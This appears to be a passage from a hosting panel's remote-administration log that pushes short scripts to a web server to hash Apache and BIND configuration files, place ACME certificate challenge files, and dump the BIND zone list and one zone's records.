def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 20:31:50: 

chmod 755 /tmp/pkp423559; /tmp/pkp423559; rm /tmp/pkp423559

(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 93a1976f48632b7620294e371188dcdd
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
MD5(/etc/apache2/sites-available/cityelectric_www_site.conf)= 0f6f5444ca90e2fb6bd046f20cb6b3e4
MD5(/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt)= e6c44632d87b0d9f6c49ff455b25d0cd
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf
link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf


2025-12-24 06:00:02: Establishing a connection
2025-12-24 06:00:03: Establishing a connection
2025-12-24 06:00:03: 

PUT: /tmp/pkp582257

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-24 06:00:04: 

chmod 755 /tmp/pkp582257; /tmp/pkp582257; rm /tmp/pkp582257

2025-12-24 06:00:04: 


1


2025-12-24 06:00:05: Establishing a connection
2025-12-24 06:00:05: 

PUT: /tmp/pkp164505

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > Y3FNEc8Ou3CrMRKjwsU1_OCIEavJMLGac3JRbrr-7wY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Y3FNEc8Ou3CrMRKjwsU1_OCIEavJMLGac3JRbrr-7wY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Y3FNEc8Ou3CrMRKjwsU1_OCIEavJMLGac3JRbrr-7wY


2025-12-24 06:00:05: 

chmod 755 /tmp/pkp164505; /tmp/pkp164505; rm /tmp/pkp164505

2025-12-24 06:00:05: 




2025-12-24 06:00:07: Establishing a connection
2025-12-24 06:00:08: Establishing a connection
2025-12-24 06:00:09: 

PUT: /tmp/pkp706840

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-24 06:00:10: 

chmod 755 /tmp/pkp706840; /tmp/pkp706840; rm /tmp/pkp706840

2025-12-24 06:00:10: 


0


2025-12-24 13:55:01: Establishing a connection
2025-12-24 13:55:11: Establishing a connection
2025-12-24 13:55:11: 

PUT: /tmp/pkp301086

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-24 13:55:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp301086; rm /tmp/pkp301086'

2025-12-24 13:55:11: 
2025-12-24 13:55:11: 

PUT: /tmp/pkp185551

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/named.conf.local')
    show_file('/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf')
    show_file('/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-24 13:55:11: 

chmod 755 /tmp/pkp185551; /tmp/pkp185551; rm /tmp/pkp185551

2025-12-24 13:55:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local	4981
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online
include "954ebedf55cc0740293342780846a6cd.conf"; # persianchurch.info


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf	254
# this is an automatically created file: manual changes will be overwritten.
zone "persianchurch.info" IN {
  ##owner 0;
  type master;
  file "954ebedf55cc0740293342780846a6cd.txt";
  allow-transfer { 66.175.233.192;  };
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt	448
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
persianchurch.info.      		 IN    SOA      	persianchurch.info. hostmaster.persianchurch.info. ( 133302370 14400 3600 14400 3600 )
persianchurch.info.      		 IN    NS       	ns1.hostz.org.
persianchurch.info.      		 IN    NS       	ns2.hostz.org.
persianchurch.info.       60	 IN    A        	216.250.114.63
www.persianchurch.info.   60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
